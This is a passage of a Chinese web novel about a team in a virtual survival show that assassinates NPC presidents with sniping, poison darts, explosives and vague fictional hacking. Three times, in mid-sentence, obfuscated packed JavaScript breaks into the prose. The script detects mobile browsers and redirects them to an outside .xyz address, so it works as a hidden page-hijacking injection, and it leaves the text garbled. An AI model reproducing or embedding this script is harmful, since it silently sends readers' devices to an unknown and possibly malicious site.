这个NPC一下子卡住了，似乎不知道该怎么回答这个问题，愣在原地。 寇小萱冲着姑娘们比了个手势，青黛看到后，带着大家去了后台。 推开贴着“演员专用”褪色标签的铁门，混着粉底、发胶和廉价香水的气息扑面而来。十平方米的空间被三面嵌满灯泡的镜子撑出了虚假的宽阔感。 化妆台渍痕斑驳——半瓶龙舌兰在几乎用尽的粉底液瓶旁立着，桌上的烟灰缸已经被烟蒂埋得看不见本体，镜子上贴满了用眉笔临时记录的备忘录…… 舞男们正在“欢声笑语”地准备着今晚的演出—— “你臀垫是不是塞反了？” “这叫不对称美学，土鳖，你懂个屁。” “妈的，来年再跳这个老子就是狗！” “去年你也是这么说的。” …… 很明显，舞男们也没想到会有几个女客人冲进来，统统显得十分不知所措——不是那种人类的尴尬不知所措，而是超出设定范围无法应对的宕机般的不知所措。 寇小萱走向一个浑身皮条正在歪歪斜斜的服装架前整理着那些缠在一起的带着亮片的流苏的男人，又重复了一遍自己找的人： “我找安德鲁。” 这话像是召唤指令，让这NPC明显一愣，随后他的表情经过一番调整后，又回到了初始状态，笑眼盈盈地对寇小萱说： “请问，美人需要什么样的表演呢？你喜欢的，我都会哦。” “这回答好奇怪，一般人难道不该问，你找我干什么之类的吗？”巫马莎低声问青黛。 青黛没回答小姑娘的问题，而是越过寇小萱对着安德鲁说： “给我们来一段二人转。” “不好意思这位客人，我不会。” “那来一段贯口。” “不好意思这位客人，我不会。” “那你会什么？” “你喜欢的，我都会哦。” “给我们来一段二人转。” “不好意思这位客人，我不会。” “那来一段贯口。” “不好意思这位客人，我不会。” “那你会什么？” “你喜欢的，我都会哦。” “给我们来一段二人转。” …… 重复到第15遍这个问题后，安德鲁终于给出了不同的回答：“重复提交请求可能导致账户封禁，请勿滥用。” 青黛听罢，会心一笑，对着安德鲁继续说： “那你会什么？” 31. 赛博刺杀7 终于，在对话重复30遍后，安德鲁陷入了沉默，与此同时，他的面板主动跳了出来，字符跳动着，不断往外输出着后台日志错误的代码。 寇小萱调出自己的面板，接入安德鲁的面板，开始疯狂输入着字符。 “什么意思啊？你们在干什么？我怎么什么也看不懂？”巫马莎浑身上下都散发着无知。 “大概是，她们利用AI角色的逻辑漏洞，也就是对话树的无限循环触发，诱导NPC泄露系统日志信息，从而找到了骇入点。”班宁尝试给她解释。 “对，这叫NPC交互渗透。”青黛补充。 “你连黑客都会？”巫马莎眼睛瞪得像铜铃。 青黛摇摇头：“不会，我只是听说过这招，这次正好有机会，于是试了试。” “NPC交互渗透的本质是对程序化信任边界的突破，其技术逻辑与现实世界的Web攻击高度同源。防御需贯彻「永不信任用户输入」原则，通过代码审计，模糊测试和AI行为监控，比如检测高频重复对话……”寇小萱边不断输入指令，边解释。 “你别解释了，求你，你越解释我越听不懂。”巫马莎满脸惆怅，“此时此刻，我无比怀念莫之臻啊，他解释什么我都能听懂。” 寇小萱没再搭理她，继续着手上的动作，很快，她就进入了洞天的数据夹层。 “只要体育场那个总统的信息吗？”寇小萱转头问青黛。 “来都来了，当然是全部打包带走啊！”青黛不经意发出了“桀桀桀”的反派笑声。 从GoldenTime出来后，几个人回到了茶楼，对接下来的行动进行了全方位的部署安排和准备。 当天半夜，青黛穿着印有“设备维护”字样的深蓝色连体工装，左肩挂着工具包，用她的脸对准了体育馆检修通道的大门上的识别装置。 很快，识别装置发出悠悠绿光并显示pass的标识——寇小萱提前把她的生物学信息录入体育馆工作人员信息系统。 进入体育馆后，青黛调出面板，按照体育馆的三维地图迅速找到了全息投影设备平台的检修口。 正当她准备打开检修口，并往上攀爬时，一道强光照在了她的脸上。 “谁？”负责夜间巡逻的保安大声质问道。 “检修工。” “修什么的？我怎么不知道什么东西坏了？” 青黛面不改色地摘掉绝缘手套，调出的电子工单显示着全息投影设备的报修记录。 “出什么问题了？” “就是不知道出什么问题了，才要我三更半夜来检修啊！”青黛的语气中全是对临时加班的愤怒，“你也知道，后天，哦不对，现在已经过了午夜了，明天！总统就要来看比赛了，他们上层害怕出问题，就反复折腾我们这些牛马，勒令我们修这里查那里的。其实屁事也没有！” 看着青黛那一点就着的架势，保安深信她就是个睡到一半被叫起来上班的冤种打工人，和颜悦色地说道：“上去吧。” 戏演全套，青黛怨气颇重地把工具包往后一甩，继续骂骂咧咧地开始往上攀爬。 踩完点，拿到所有数据并在脑子里把计划完整地过了一遍后，她满意地离开了体育场。 第二天上午，青黛跟队员们讨论计划的细节，并查缺补漏。开完会后，大家分头进行准备——服装，道具，武器和设备。 巫马莎甚至给自己要假扮的角色写了个2千字的人物小传。 第三天，也就是行动当日中午，Ghost带着被青黛拆成零件的狙击枪，班宁的一兜子烟雾弹，巫马莎的“小玩意”和刺杀要用到的所有武器和设备，潜入了负责体育场灯光音响的公司“辉煌舞台”的仓库。 她按照寇小萱给她的音响设备清单，很快找到了那些即将被运送到体育馆的音响设备箱——这些设备是不用进行武器扫描的。 枪管被Ghost小心地藏进音响防震棉中，瞄准镜则是藏在音响功放器的散热格栅里……当Ghost藏好最后一个零件时，辉煌舞台的库管人员拉开了仓库大门，带着两个工人走了进来。 “这些贴标签的全都是，你们小心点，设备今天必须进场。” 趁着他们开始装车，Ghost神不知鬼不觉地离开了仓库。 下午，灯光音响公司抵达了体育场时，Ghost已经在那里等着了，她趁着工人卸货，又神不知鬼不觉地把自己中午藏好的东西全部偷了回来。 Ghost吃力地扛着一个大大的袋子，走进了体育馆底层后台的女洗手间——有演唱会和大型演出，后台才会被启用，只是球赛的情况下，这里是被关闭的状态，外人进不来。 “全都在这里了。”她撂下袋子，跟大家交代道。 大家纷纷围上来，开始在一大堆东西中，翻找自己的东西。 把狙击枪装回去后，青黛把它放在了一个工具包里，直接扔在一边。 寇小萱给队员们设定好了抗干扰并加密的单独的通信频道，不用弹出面板就能使用那种，免得说话时还要开着个干扰视线的玩意儿。 弄好通信设备后，寇小萱看了一眼总统车队在自己面板上的行进位置，通知大家道：“剩一公里了。” “时间差不多了，巫马莎赶紧上去吧，不然等下进去估计要搜身，太麻烦了。”青黛道。 “好的。”巫马莎蹦蹦跳跳地跑走了。 果然，巫马莎进入贵宾区后没多久，贵宾区就戒严了——从贵宾通道到贵宾专属电梯，再到顶层贵宾区的一路上站满了保护总统的特工人员。 七点整，总统的专车从贵宾专属通道开进了体育馆，总统一行人从专梯直接进入了贵宾区。 Ghost率先行动，她走了一圈，弄回来了安保工作人员的电子通行证，寇小萱把证件联入面板，复制到剩下四个人的面板当中。 但同时，Ghost也带回了一个不太好的消息——总统总共预定了五间贵宾室，最终选哪间是随机的。 “莎莎，计划有变……”得知变故后，青黛当即调整了巫马莎的行动方案。 随着裁判的哨声，比赛开始了。 青黛再次用电子工牌刷开了维修通道的门，穿着全息投影实时维护人员的制服，背着装着狙击枪的工具包，开始攀爬正对着所有贵宾包间的全息投影设备平台。 巡查无人机从她头顶掠过，摄像头红光扫过她的脸时，认证信息立即跳转为pass。 爬到顶端后，青黛不经意往下扫了一眼，顿觉有点眩晕——那天半夜时下面是一片黑暗，没觉得多高，现在灯光如昼，一切清晰无比，三十几米高的垂直距离让体育场观众席在青黛眼里化作彩色马赛克。 确实有点吓人。 她架好狙击枪，盖上防无人机拍摄的遮蔽伪装毯，趴下，枪口对准了体育场另一端的贵宾区。 “我已就位。”青黛在通信频道里通知寇小萱道。 “收到。”寇小萱立刻把青黛在体育馆员工数据库中的数据删得一干二净，毫无痕迹。 在青黛正下方第七看台区，身着清洁工制服的班宁正在布置她的烟雾弹们——太早布置没用。整个下午，总统的特工们都在拿着各种□□探测器在会场中反反复复地搜查。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012273|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她佯装清理自动贩售机侧面的垃圾，迅速把烟雾弹粘在了机器后面。抬起头时，她瞥见贵宾区阳台上掠过的耀眼的碎光——那是巫马莎裙摆上的水钻。 盛装的巫马莎此时是某个贵宾带来的小女儿，独自在贵宾区的阳台上拍照。她不断调整着自拍杆，似乎在找寻一个最漂亮的自拍角度。 在她第N次调整后，终于捕捉到3号包厢窗帘的颤动——防弹玻璃背后，隐约现出半张肥硕的侧脸。 “已确定总统所在包厢。”巫马莎的声音出现在了通信频道里。 她拍摄的图片紧接着传到了全息投射台上趴着的青黛的面板上。 此时的班宁正把最后所有的烟雾弹都塞进球队的吉祥物，一个三米高的咧着大嘴的卡通恐龙的肚子里时，工作证被人从后面忽然拽住。 “我怎么没见过你？”一个跟班宁穿着同款制服的男人皱着眉问她道。 “我新来的。”班宁挠了挠头。 “不可能，没人能绕过我被招进来。” 看样子，这人是清洁工的主管。 “好吧，我说实话，我是替班的。” “替谁？” “替ma……”班宁刚想说“妈妈”，但话就被主管抢了过去： “又是玛丽安！又是她！这个懒女人，怎么总是有干不完的私事？你告诉她，让她下次别来了！” 主管骂骂咧咧地走了，剩下班宁在原地一边凌乱，一边暗自跟玛丽安道歉。 时间一分一秒地过去，比赛进行到第18分钟，当足球擦着门柱飞入球网时，东侧看台突然爆发出海啸般的欢呼。 青黛的瞄准镜里，总统贵宾室的阳台依然宁静——他没出来。 紧接着是第二个进球…… 当点球大战的倒计时全息投影笼罩全场时，观众的喊叫声几乎掀翻了整个体育场，终于，3号包厢的防爆门亮起绿灯——那个缩头总统终于在公关人员的强烈建议下，决定出来了。 但是他在保镖的簇拥下出来晃了一下，就马上钻了回去。根本没给青黛留一丝一毫的机会。 此时，倒计时结束，球员冲着球急速奔跑而去，当第一个点球破门时，全场观众集体起立制造的人浪和无比热闹的狂欢声。 在人声最鼎沸的一瞬，青黛扣动了扳机，□□飞过整个体育场，穿过防弹玻璃，擦着总统的脖颈，卡在了贵宾室的墙上。 玻璃破了个大洞，但总统毫发无伤。 球场那边还没来得及反应，屏幕前的观众倒是热火朝天地讨论了起来—— 【青黛枪法不准啊？】 【你是鱼吗？没记忆的？忘了她在林北城黑夜打无人机跟游乐园打气球似的了？那是妥妥的神枪手。】 【枪法如果那么神，怎么可能失手？】 【穿过玻璃哎！那么厚的防弹玻璃，怎么可能不导致弹道偏移？】 【你担不行就是不行，少找借口！】 【你该不会是她打死的某个弱鸡的粉丝吧？好酸。】 【失误就是失误，认命吧，局面不是靠你们脑残粉的嘴就能逆转的。】 …… 粉和黑粉吵得不可开交之时，总统的保镖已经快速叠成人体盾牌，将总统几乎压成了地板上的一团阴影，彻底斩断了青黛再次远程狙击总统的可能性。 与此同时，体育场方面启动的应急措施——贵宾区前方迅速降下一整块巨型纳米防弹帷幕，遮住了所有阳台。 “狙击点在对面的全息投影设备平台上，抓住刺客！” 部署在体育场看台上的特工们开始涌向青黛。 32. 赛博刺杀8 特工们开始沿着检修梯往上攀爬，钢架被他们踩得嘎吱作响。 “抓住她！要活的！”特工队长的吼声在钢架间回荡。 看到逐渐逼近自己的特工们，青黛忽然站起了身，冲着天连放三枪，随后她把手中的狙击枪随意丢在脚下，打开了隐藏式翼装，从全息投影设备平台纵身一跃，飞进了混乱看台上的茫茫人海中。 这么招摇的逃跑方式，别说大家了，连她的队友都是第一次见。 体育馆的观众们先是被这突如其来的枪声吓了一跳，紧接着便陷入了极度的恐慌之中。尖叫声、呼喊声此起彼伏，人群开始不顾一切地四处奔逃。 看到观众乱了起来，班宁也开始了行动，她蹲在看台最高处，按设计好的顺序开始逐个引爆烟雾弹，以烟雾弹作为驱赶，引导着观众逃散的方向。 安全着陆在观众席中的青黛的逃跑方式很是诡异——时不时地彻底消失，但又时不时出现在特工们前面，让他们能看到自己，以便其更紧密地跟随。 几次下来，特工们被逗急眼了，调派了更多人手企图一次性围捕这个胆大包天的刺客。 看到几乎所有的特工都开始追捕自己后，青黛满意地冲着他们小队的通信频道下了指令。 收到命令的班宁引爆了那个三米高的卡通恐龙肚子里的烟雾弹，烟雾从恐龙嘴里源源不断地喷出，让整个看台顿时陷入了无尽的混沌之中，能见度为零，特工们寸步难行。 青黛彻底消失在了混乱的观众席上。 被保镖们簇拥着的总统，此时忽然毫无征兆地剧烈颤抖起来，呼吸也变得急促而沉重，仿佛被人紧紧扼住了喉咙。紧接着，他开始浑身抽搐，面部因痛苦而扭曲变形。 他周围的人都被这突如其来的变故惊呆了，一时间竟不知所措。 巫马莎站在总统贵宾室隔壁的阳台上，看到总统的这番反应后，嘴角微微上扬，露出一丝不易察觉的微笑。她抬起手，将手中那根看似普通的自拍杆随意地丢在了地上，离开了贵宾区。 2分钟前，当最后一批特工人员也被调去追捕青黛时，巫马莎趁着总统身边人员空虚，举起手中那根自拍杆，对着总统射出了一枚神经毒素针。 毒针穿过青黛用□□打出的玻璃大洞，掠过特工们的人墙，直直扎进了总统的脚脖子。 总统团队终于回过神来，顿时陷入了一片绝望的混乱中——有人手忙脚乱地在总统口袋里翻找心脏病的药物，有人惊慌失措地大喊着“快叫救护车”，有人则七手八脚地调出面板呼叫救援。 他们都以为总统心脏病发——神经毒素诱发心肌淀粉样变，病发特征与突发心脏病完全一致。 总统的专属医疗人员来得异常迅速，不一会儿，他的医疗悬浮车就闪着警示灯鸣着警报，悬停在了体育场的等离子防护罩外面。 与此同时，体育场方面接到了总统秘书的电话，让他们对医疗悬浮车进行放行。 体育场的安保组核实了一下悬浮医疗车的资质，确定没有问题后，将上方的等离子防护罩打开了。 这罩子原本不是民用设施，但在N次恐怖袭击后，成为了洞天乃至九幽每个大型民用公共场所的标配。 九幽居民武德充沛，导致袭击的原因五花八门，莫名其妙，其中一次体育场被袭击的原因是袭击者支持的球队输球了。但并不是在这个体育场比赛输的，他只是路过时，看到体育场气不打一处来，就下手了。 医疗悬浮车飞进体育场内后，直接悬停在了总统贵宾室的阳台旁边。两个身着医护制服的人从车上带着担架跳进阳台，冲进贵宾室，配合着保镖将总统抬上了医疗悬浮车后，其中一个医护人员钻进驾驶室，另一个则是带着总统的保镖和秘书坐进了车厢。 随后，医疗车拉响警报，从体育馆上空飞离了体育馆。 然而，就在这辆医疗车刚刚消失在众人的视线中后，另一辆闪着警示灯的医疗车也驶入了体育馆。 “总统人呢？”总统的专属急救人员看着空空如也的贵宾室，对着特工们喊道。 在场的人们都愣住了，根本没反应过来发生了什么。 与此同时，在那辆装着总统的医疗车上，随行的保镖和总统秘书渐渐感觉到双腿发软，视野开始变得模糊。 他们看到的最后一个画面——急救医生青黛摘下自己的口罩，冲他们很是意味深长地笑了笑，然后亲手把总统那盖在身上的白布拉起来，盖住了总统的脸。 “叮叮叮——体育馆刺杀任务完成。此次死亡选手人数0人，总死亡选手人数2人，剩余人数48人，清点播报完毕。” 那个熟悉的机械音在所有选手的面板上响起。 【我就说我女神不是枪法不准吧，果然是有别的计划。】 【明明能一枪毙命的事，愣是演了个连续剧给大家看啊？这计划真伟大。】 【楼上屁都不懂，那种一枪毙命的杀法，杀的时候干净利落，逃的时候狼狈不堪，现在这个方案才是最佳。】 【我不管，我是剧情控，就喜欢这种天下大乱的玩法。】 【你那不叫剧情控，叫唯恐天下不乱控。】 【我感觉她是为了积分，这么折腾，感觉分会更高啊。】 【+1】 【+1】 …… “前面停车。”青黛对着正在开车的“总统医疗车司机”Ghost喊道。 Ghost一个漂亮的急刹，把车降落在了路边，俩人弃车而去，上了另一辆等在路边的悬浮车。 班宁坐在驾驶室里，巫马莎坐在副驾，寇小萱坐在后排，正在面板上输入着什么。 “走吧！”青黛对司机下令。 班宁一脚将油门踩到底，悬浮车如脱缰的野马般冲上了封闭的空中高速公路。 寇小萱按下了一个按钮，她们车后的天空中忽然聚集了几十架外卖无人机，15秒后，这些无人机“恰好”撞成一团，形成一个燃烧的火球，掉在了空中高速公路路面并继续燃烧着，后方所有的悬浮车被迫下降。 10分钟后，空中高速公路堵成了停车场，追捕刺客的特工们被死死卡在了1公里外的空中高速公路上，进退两难。 “这是去哪啊？”巫马莎发现她们的车并没开回茶楼。 “快到了，”青黛指着前方，“那，就那。” 巫马莎顺着青黛的指示看去，她们前面所有的悬浮车正在降速和降落，转为了地面低速行驶模式。 “堵车了？” “空中高速公路也能堵车？还真是活久见。”寇小萱感慨。 这感慨不夸张——空中高速所有车辆严格遵循道路交通AI的全局调度行驶，全程禁止随意变道、转向或急停，只能在规划路线中匀速前进，彻底杜绝了人为骚操作的因素，哪怕你车坏在半路，也会被AI操控开入紧急避险地带，根本不可能堵车。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023268|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “说什么呢？你不也刚刚制造了一起空中高速的拥堵事件吗？”青黛对寇小萱说。 “对啊，那是人为的。这……”寇小萱恍然大悟，“难道也是人为的？” 就在此时，姑娘们的通信频道里忽然出现了一个男人的声音：“我这边就绪了，坐标发你了，开始吧。” “莫莫莫……莫之臻吗？什么情况啊？”巫马莎惊叫道。她完全没想到青黛跟莫之臻还有联系，她以为他们俩决裂了。 “收到。”青黛微微一笑，从车座下面掏出一个火箭炮，打开天窗，站在座椅上，一枚□□轰了出去。 随着冲天的火光和黑烟，选手们的耳边再次响起了那感人肺腑的电子音： “叮叮叮——空中高速公路刺杀任务完成。此次死亡选手人数0人，总死亡选手人数2人，剩余人数48人，清点播报完毕。” 【就……完成了？怎么回事儿啊？】 【跟莫之臻联手吗？】 【谁有莫之臻的直播？】 【没有。】 【求！】 【求！】 …… 弹幕上瞬间被漂浮的“求”字盖满了——几乎所有的观众都是买了青黛的摄像头内容，所以他们只知道以青黛为主视角的事件发展，根本不知道莫之臻那边发生了什么——自从他俩“拆了CP”，见不到面，大家自然都不买莫之臻的直播了，反而改买了巫马莎和班宁的。 【这死的是哪一组要杀的总统？】 【Who他妈cares？】 【一个组能杀两个总统吗？】 【Who他妈cares？】 【这合规吗？】 【这是青黛，别跟她讲规矩，她的规矩就是规矩。】 【那怎么算积分啊？】 【那是节目组的问题，咱们管那么多干嘛？爽就好了。】 很快，观众们就眼睁睁看着青黛刺杀成功了第三个总统…… “叮叮叮——总统府刺杀任务完成。此次死亡选手人数0人，总死亡选手人数2人，剩余人数48人，清点播报完毕。” 【几个了？】 【三个。】 【牛逼！】 五个小时后。 “叮叮叮——私人海岛刺杀任务完成。此次死亡选手人数0人，总死亡选手人数2人，剩余人数48人，清点播报完毕。” 【第四个。】 【这……】 【我竟无言以对。】 不仅观众陷入了沉默，节目组也是不知道要如何面对。 “她这个，我们要不要，接下来，他们那个……”现场导演语无伦次道。 “你他妈到底要说什么？”汪泰初此时的情绪也很复杂，但他不会语无伦次，他只是沉默不语。 “总不能让她把十个总统都杀光吧？”选场导演弱弱道。 “你看我像能阻止她的样子吗？”汪泰初两个眼皮都狂跳，他也不知道这个情况是好是坏。 第二天下午。 “叮叮叮——私人高尔夫球场刺杀任务完成。此次死亡选手人数0人，总死亡选手人数2人，剩余人数48人，清点播报完毕。” 在连续三天搞定5个总统后，青黛小队终于收兵了，她带着疲惫不堪的队友们回到了茶楼，大家发现莫之臻站在大堂的水池子里。 那堵刚刚修好的后墙，又被踹破了个大洞。 33. 赛博刺杀9 莫之臻从水池子爬上来后，青黛递给他一块布，他擦完才发现是抹布。 为什么会拿错呢？因为经理现在没空理他们，在一旁疯狂投诉洞天官方的地图设定有重大bug，导致了茶楼的巨大损失 官方让他提交具体数据，但他又无法提交，因为无论莫之臻还是青黛，他们都是临时用户，就是黑户，见不得光。官方说没数据没办法处理，经理被气得直跳脚，但又不好跟少东家发作，憋得脸都紫了。 “你不然直接在那个地方修个门得了。”巫马莎提议道。 “那不行，这茶楼的格局是请风水大师看过的，有讲究的。”经理很坚持。 “这么讲究，还被人踹烂两次？可见风水一般，不然就是大师一般。”巫马莎撇撇嘴。 青黛觉得巫马莎的论断很有道理。 经理无比郁闷，表示，不然买块玻璃，把那个窟窿修成一个景观。 “那不就破了风水了？”青黛忽然插嘴。 镜子啊，玻璃啊，在风水学中是有说法的，跟墙不是一回事儿。 “还真是。”经理幡然醒悟道，很是谦卑地问青黛，“姑娘有什么好办法吗？” “应该有，你先把墙修了吧。”青黛胸有成竹道。 此时，莫之臻已经去洗手间用干手机把自己吹干回来了。 “你们俩到底怎么回事？”巫马莎质问道。 “其实也没什么，就是之前偶然遇到……”青黛找了个舒服的沙发半躺下，开始讲故事。 那天半夜青黛去体育场踩点时，发现了全息投影设备平台上，有别人留下的痕迹。 为了不出现两对同时刺杀一个目标的乌龙，青黛当即发了加密消息给莫之臻。 就是寇小萱给他们设定那个，这个系统很好用，除了当事人，谁也不知道说了什么，观众看到的直播都是乱音。 很快，莫之臻那边就确认了青黛的推测——青黛前往踩点的时候，莫之臻刚刚离开体育馆。 青黛要把任务让给莫之臻，莫之臻不愿意，俩人相互礼让起来，聊天消息一度十分混乱，跟饭后抢着买单似的。 莫之臻：“别推了，这样吧，其实我还看上了另外一个任务，空中高速公路，我已经设计得差不多了，但到了最后一步，人手不够，无法实现，所以我才来看看要不要找个代替品。” 青黛：“哦？继续。” 莫之臻：“我对体育场任务只到了探查阶段，现在放弃根本没有沉没成本，但空中高速公路已经准备就绪了。” 俩人最终确定了方案——青黛先领着小队的姑娘们把体育场任务做了，然后去帮莫之臻搞定空中高速公路任务的最后一步。 “奇怪了，你们是如何把两个任务的时间连上的。”巫马莎好奇道。 “你没打过游戏吗？”莫之臻问道。 “我妈不让。” “你妈让你杀人？不让你打游戏？”莫之臻惊了。 “说重点。”巫马莎不爽道。 “这些总统是NPC啊，就是永远在任务地点附近转悠的工具人，你一旦触发任务，他们就会自动进入任务状态的。”莫之臻说。 空中高速公路的任务是这样的：总统在国会开会过程中，忽然收到来自匿名人士的提醒，说有人要刺杀他，让他尽快离开国会大厦。总统在乘车离开的过程中，杀手们想办法对其进行刺杀。 刺杀范围：空中高速公路。 刺杀规则：被刺杀者必须在这个范围内死亡，否则，此次刺杀视为失败。 “谁给总统发的消息？” “我。”莫之臻道。 “不是需要匿名人士发吗？” “对啊，我发信息的时候，确实没署名。”莫之臻道。 “……”巫马莎忽然对莫之臻感到有些无语。 “无论如何，任务触发成功了。”莫之臻耸了耸肩。 “对对对，你厉害。”巫马莎翻了个白眼。 莫之臻接着往下讲： 这个任务的难点有二—— 首先，悬浮车是飞行状态的，也就是移动着的，并且是在空中高速公路内部高速移动着的。 其次，不知道总统在车队哪辆车里，车队所有车辆都把防御拉到了顶格，在空中一次性解决掉全部车辆根本不可能。 解决这个难点的关键，就是让车队停下来。 但那是总统的专车车队，是任何时候都不会停下来的，除非路上出现了事故需要紧急避险。但总统的车上路前，都是有前车开道的，遇到麻烦就会强行改道。 所以，只能让总统的座驾出现问题，让他们主动停下来。 第一阶段，准备工作： 首先，莫之臻的黑客通过计算机破解区域交通管制节点的区块链验证协议，然后在目标车队预定路线中植入虚假交通事故数据。 接着，找顶级的改装车师傅改装货运悬浮车内部结构，装载电磁脉冲发生器和折叠式无人机蜂巢，并把外观和涂装改得跟市政工程抢修车辆一模一样。 第二阶段，刺杀前夕： 刺杀前一小时，进行动态导航的篡改——激活预设的“道路维修”虚拟标识，并通过总统车队内部加密网络向所有车辆发送伪造的紧急避让指令，这一指令导致目标车队改道，从1500米超高速层降至500米中底速层。 第三阶段，刺杀执行： 首先，其中一个队员驾驶的货运悬浮车抵达总统车队附近，并打开电磁矩阵，瘫痪半径200米内所有电子智能设备，尤其是保镖的智能武器系统和通信装置，以确保切断车队间的联络。 剩余3个队员分别驾驶3辆悬浮车进行合围：前车投射干扰视觉的强光；左车发射碳纤维网缠绕车队推进器；右车使用共振频率发生器破坏目标车辆悬浮系统。 此时，车队被迫落地，停车。 此时，第5辆悬浮车上的黑客开始行动，他激活总统车队自动驾驶系统的后门程序，强制开启所有车门。 货车上搭载的微型无人机群飞出，对总统车队的车内进行识别，并确定总统所在车辆。 “最后，你们的车赶到了现场，接下来的事情你们都看到了。”莫之臻指了指青黛。 青黛做出一个扛火箭筒打炮的姿势。 “这任务简直就是用真金白银堆出来的啊，那一堆堆设备，啧啧。”Ghost感慨道。 寇小萱掰着指头算了算：“单单那些设备，就差不多得几千万了吧，我还没算武器和人工，雇佣那个黑客也应该不便宜。” “你家在洞天也有分公司吧？”巫马莎恍然大悟。 莫之臻点了点头：“也不算公司，有点投资而已。” 【这不就是氪金玩家吗？不公平吧？】 有观众不乐意了。 【那不然你也氪。】 莫之臻的粉丝迅速回怼。 【规定不允许氪金吗？】 【倒也没有规定。】 【那就别说废话。】 …… “为什么非要用火箭炮这么夸张的武器？”班宁提出了质疑。 “因为这种打法够酷炫。”青黛满脸得意。 “别听她瞎说，因为别的打法不能保证总统会被一击致命。”莫之臻赶紧解释道。 “我怎么觉得人是够的？按照你们之前的准备，只要使用带武器系统的无人机就可以保证每辆车都被……” Ghost的话刚说到一半，就被莫之臻粗暴打断了：“反正就是如此了，讨论可能性没意义，已经是这个结果了，任务完成了。”莫之臻用一种近似于耍赖的姿态强行结束了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031657|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个话题，“青黛，你说说你速通那三个目标是怎么回事儿？” “我怎么有种，莫之臻在故意帮着青黛刷积分的感觉？”巫马莎用耳语跟班宁说道。 “你小点声，她顺风耳。”班宁提醒巫马莎道。 “意识上载到这里，咱们都是电子的了，还是顺风耳吗？”巫马莎赶紧再度降低了音量。 “反正我的铁腿还在。”班宁双腿一磕，发出金属撞击的声音。 巫马莎吐了吐舌头，偷偷看向正在跟莫之臻讨论任务的青黛的方向，看到她毫无异动，在心里松了口气。 青黛跟莫之臻说：“我们那三个目标其实很好弄，诀窍就是认真阅读线报。” 高尔夫球场任务的线报表示：总统下午三点会在私人球场打球。 寇小萱查到第7洞栈桥有90秒监控盲区。 次日清晨，班宁与Ghost伪装成草坪维护工潜入球场。班宁在洒水系统藏入遥控炸药，Ghost将枪藏在割草机外壳里。 下午3点，总统的车队准时出现。班宁引爆炸弹制造混乱，特工们跑向爆炸点查看情况，总统在四名贴身保镖的掩护下退往栈桥。 当总统踏上栈桥时，Ghost用高压水枪冲倒两名护卫。青黛从洒水井跃出，徒手拧断第三人脖子。最后一名保镖举枪的瞬间，被藏在桥下的巫马莎一枪爆头。 总统掏枪时被青黛踢中手腕，她一个飞身把挣扎的总统按在栏杆上，用高尔夫球钉刺进其颈动脉。 确定总统死亡后，青黛与Ghost跳入栈桥下的快艇，巫马莎从水中登船。人到齐后，寇小萱驾驶快艇迅速离开了。 驶离爆炸范围后，班宁引爆遥控炸药，将栈桥和总统的尸骸炸成碎片。 莫之臻听完一脸不解：“这个任务不难啊，为什么之前的选手失败了？” “确实不难，但有一个必须避开的关键点。”青黛说。 “什么？” “不能远程狙击。” “为什么？” “因为这个NPC总统总是在摇头晃脑。”青黛亮出情报中的一条信息——总统去年确诊帕金森。 所有人同时露出恍然大悟又十分无语的神情。 “那总统府的任务呢？从头到尾一个小时都没用上吧？”莫之臻接着问。 “我姐把他的泳池通电了，高压电。”巫马莎无比自豪地说。 “海岛呢？” “在他游泳那片海域里投放一些僧帽水母。”青黛道展开双臂比画了一下，“很大一些。本来还有后续计划，等他中毒就医时一击毙命，谁知他的中毒反应是昏厥，直接把自己淹死了。” 莫之臻情不自禁伸出大拇指。 “我这边现在是保险了，但是……”青黛忽然欲言又止起来。 “怎么？” “还剩那5个总统，我觉得那些选手们搞不定。” “你想帮他们？”莫之臻问。 “嗯，毕竟在地表的最后时刻，他们都站在我这边了。”青黛道。 “我让他们明天一早来茶楼开会。” 莫之臻离开茶楼时，青黛跟了出去。 “这么晚还出去？”莫之臻问道。 “我去给后墙加个禁制。” “什么意思？” “你过来看看不就知道了。” 俩人绕到后面，青黛从口袋里掏出一张画着东西的纸，贴在经理新补的洞上。 莫之臻凑近一看，是一张写着“大门在前方，请绕行”的大字报，并配了地图。 青黛看了莫之臻一眼，忽然在加密通信频道里对他说道： “你在故意帮我刷分？我已经说了我们之间……” 还没等青黛把话说完，莫之臻那边说： “我知道你的身份了。”